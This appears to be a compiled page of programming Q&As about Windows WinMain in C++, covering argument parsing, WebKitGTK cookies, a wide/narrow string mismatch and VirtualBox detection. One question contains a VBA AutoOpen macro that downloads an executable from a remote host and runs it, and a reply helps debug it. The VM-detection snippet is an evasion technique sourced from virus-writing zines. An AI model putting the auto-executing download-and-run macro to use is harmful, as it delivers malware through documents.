WinMain() not receiving enough args if opened by double-clicking the file - c++

I used to be able to double-click files of my custom extension and open it via my C++ exe program (right click-> open with -> my program). The program was correctly receiving args.
Its WinMain() was receiving several args: the first argument was path to exe and the second argument was the path to the clicked file.
However, I no longer seem to be able to receive the second argument, it always launches my program with 1 argument: the path to this program.
Could it be because of the Windows Update I did today? Using Windows 10 and Visual Studio (same happens if compiled in Debug or in Release)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
int nArgs;
LPWSTR *szArglist = CommandLineToArgvW(GetCommandLine(), &nArgs); //GetCommandLine() is a #define located inside processenv.h
//Now nArgs is your argc and szarglist is your argv
//first arg is path to exe, second arg is path to clicked file.
if(nArgs<=1){ LocalFree(szArglist); return EXIT_FAILURE; } //not enough args (1 or less)
LocalFree(szArglist);
return EXIT_SUCCESS;
}

It was because of how I was fetching the arguments.
I was using CommandLineToArgvW(), but when I instead started to use __argv and __argc it started working. Found this answer here
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
if(__argc<=1){ return EXIT_FAILURE; } //not enough args (1 or less)
/*use __argv[1] to fetch your second argument (in my case it's filepath) */
return EXIT_SUCCESS;
}

Related

How to set remembering cookies in WebKitGTK (C++)?

I created WebKitGTK wrapper, and works fine, but don't remberer cookies. This is main.cpp file (I use webview/webview (on Github):
#include "webview.h"
#ifdef WIN32
int WINAPI WinMain(HINSTANCE hInt, HINSTANCE hPrevInst, LPSTR lpCmdLine,
int nCmdShow) {
#else
int main() {
#endif
webview::webview w(true, nullptr);
w.set_title("WebKitGTK");
w.set_size(3840, 2160, WEBVIEW_HINT_NONE);
w.navigate("https://google.com");
w.run();
return 0;
}
Do you know how to set WebKitGTK to remember cookies?

Run-time error '-2146697209(800c0007)': No data is available for requested resource

How do i use VBS to download and execute a small exe program
The C/C++ Program i used for test to just show a simple Messagebox
The MessageBox is given as thus
#include <stdio.h>
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
MessageBoxA(NULL,"Hello World", "Hello World", MB_OK);
return 0;
}
And the VBS is given as thus
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
xHttp.Open "GET", "https://bsite.net/regmandah/Project1.exe", False
xHttp.Send
oFSO.CreateFolder "C:\Users\Jahl"
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile "C:\Users\Jahl\file.exe", 2
End With
Shell("C:\Users\Jahl\file.exe")
End Sub
Please how can i get this to work properly, I am getting this Error
Run-time error '-2146697209(800c0007)':
No data is available for requested resource
Why am i getting this ?
You aren't checking anything. If you can talk to the server then the code worked so no error. But that doesn't mean the server is doing what you want. You need to see what the server is returning.
Put in these lines after the xhttp.send.
Msgbox xhttp.status & " " xhttp.statustext
Msgbox xhttp.GetAllResponseHeaders
Also your URL requires you to login which you aren't doing.

no instance of overloaded function "strstr" matches the argument list

E0304 no instance of overloaded function "strstr" matches the argument list
I'm getting this error when try to compile, how can i fix this? post the code cus it's better to understand then photo.
So this is the error that i'm getting i don't have any idea what is causing this and how to fix.
int MakeWindows();
int CloseWindows();
int WINAPI WinMain(_In_HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow)
{
HW_PROFILE_INFO hwProfileInfo;
const char* cHWID = "{1234-5678-9669-1337}"; //
if (GetCurrentHwProfile(&hwProfileInfo) != NULL) }
printf("Hardware ID: %s\n", hwProfileInfo.szHwProfileGuid);
if (strstr(hwProfileInfo.szHwProfileGuid, cHWID)) {
printf("Your hardware ID was successful\n\n");
Sleep(3069);
system("CLS");
}
else {
printf("Your Hardware ID was denied;\n");
Sleep(1000);
TerminateProcess(GetCurrentProcess(), NULL);
}
}
else {
return 0;
}
};
strstr wants a char* as its first arg. szHwProfileGuid is going to be a wide string. You need wccstr
So try :
const wcchar* cHWID = L"{1234-5678-9669-1337}";
The problem stems from your project being compiled as Unicode ('wide' characters, usually wchar_t types or defined in Windows as WCHAR), and you also using single-byte characters (char or CHAR), for example in your call to strstr().
(As you're seeing here, the two don't cooperate nicely!)
The Windows API defines two versions of many of its structures (and therefore the respective functions that use them), one to accommodate each character type. In your code example, HW_PROFILE_INFO is actually defined as HW_PROFILE_INFOW for the wide-character version of the API, and you're invoking GetCurrentHwProfileW(). This is fine and by design, since your build is instrumented as a Unicode build.
There are a few ways you could fix this; here's a simple method (your original code with two slight modifications):
int MakeWindows();
int CloseWindows();
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow)
{
HW_PROFILE_INFOA hwProfileInfo; // <== Change # 1
const char* cHWID = "{1234-5678-9669-1337}"; //
if (GetCurrentHwProfileA(&hwProfileInfo) != NULL) } // <== Change # 2
printf("Hardware ID: %s\n", hwProfileInfo.szHwProfileGuid);
if (strstr(hwProfileInfo.szHwProfileGuid, cHWID)) {
printf("Your hardware ID was successful\n\n");
Sleep(3069);
system("CLS");
}
else {
printf("Your Hardware ID was denied;\n");
Sleep(1000);
TerminateProcess(GetCurrentProcess(), NULL);
}
}
else {
return 0;
}
};
This set of simple changes has you explicitly using the single-byte versions of the WINAPI functions, keeping your call to strstr() consistent for its two arguments.
(I'll mention again that this is only one way to fix this problem, and the "best" solution may be subjective. :))

WinMain arguments

My issue is that the arguments are only retrieving the first letter in each of the parameters, for this i do not know why..
Could someone elaborate?
#include <Windows.h>
#include <string>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hpInstance, LPSTR nCmdLine, int iCmdShow){
LPWSTR *szArglist;
int nArgs = 0;
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
std::string a;
for(int i=0; i<nArgs; i++){
a += (LPCSTR)szArglist[i];
}
MessageBox(NULL, (LPCSTR)a.c_str(), (LPCSTR)a.c_str(), MB_OK);
LocalFree(szArglist);
return 0;
}
I believe the issue lies within CommandLineToArgvW(GetCommandLineW(), &nArgs);
LPWSTR is typedefed to wchar_t *, szArglist is an array of wchar_t *s. A wide character is 2 bytes instead of of 1, so a letter might be represented as:
0x0038 0x0000
However, if you take those bytes and say 'hey, pretend I'm a char *, this looks like a C-string with one letter (0x0038), because the 2nd char (0x0000) is null, which in C style strings represents the end of the string.
The problem you have is that you are trying to fit wide characters (wchar_t) into a non-wide (char) string, which is a much more complicated opperation.
The solution: either use wstring/wchar_t everywhere (corresponding to LPWSTR/LPCWSTR), or use string/char everywhere (corresponding to LPSTR and LPCSTR I believe). Note that your project setting for 'use unicode' should match your decision. Try not to mix these!
Shouldn't this just be
int WINAPI
WinMain(HINSTANCE hInstance, HINSTANCE hpInstance, LPSTR nCmdLine, int iCmdShow)
{
MessageBoxA(NULL, nCmdLine, nCmdLine, MB_OK);
return 0;
}
or
int WINAPI
WinMain(HINSTANCE hInstance, HINSTANCE hpInstance, LPSTR nCmdLine, int iCmdShow)
{
MessageBoxW(NULL, GetCommandLineW(), GetCommandLineW(), MB_OK);
return 0;
}
?

detect if application running on virtual box

I went thrrough some links in stackoverflow. But code given here doesnt work for virtual box. I have also tried redpill but thats not working too. my application will run on both linux and windows(preferably).
Please let me know if anyone has any solution.
Edit: Preet Sangha's link not working as well
VBox 1.0 uses a different method. Check http://spth.virii.lu/eof2/articles/WarGame/vboxdetect.html
from http://www.gedzac.com/rrlf.dr.eof.eZine/articles/WarGame/vboxdetect.html
Check if the pseudo-device \\.\VBoxMiniRdrDN exists in the system (you need CreateFile())
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
if(CreateFile("\\\\.\\VBoxMiniRdrDN",GENERIC_READ,FILE_SHARE_READ,
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL) != INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"VBox detected!","Warning",MB_OK|MB_ICONWARNING);
}
else
{
MessageBox(NULL,"Not inside VBox","Info",MB_OK|MB_ICONINFORMATION);
}
}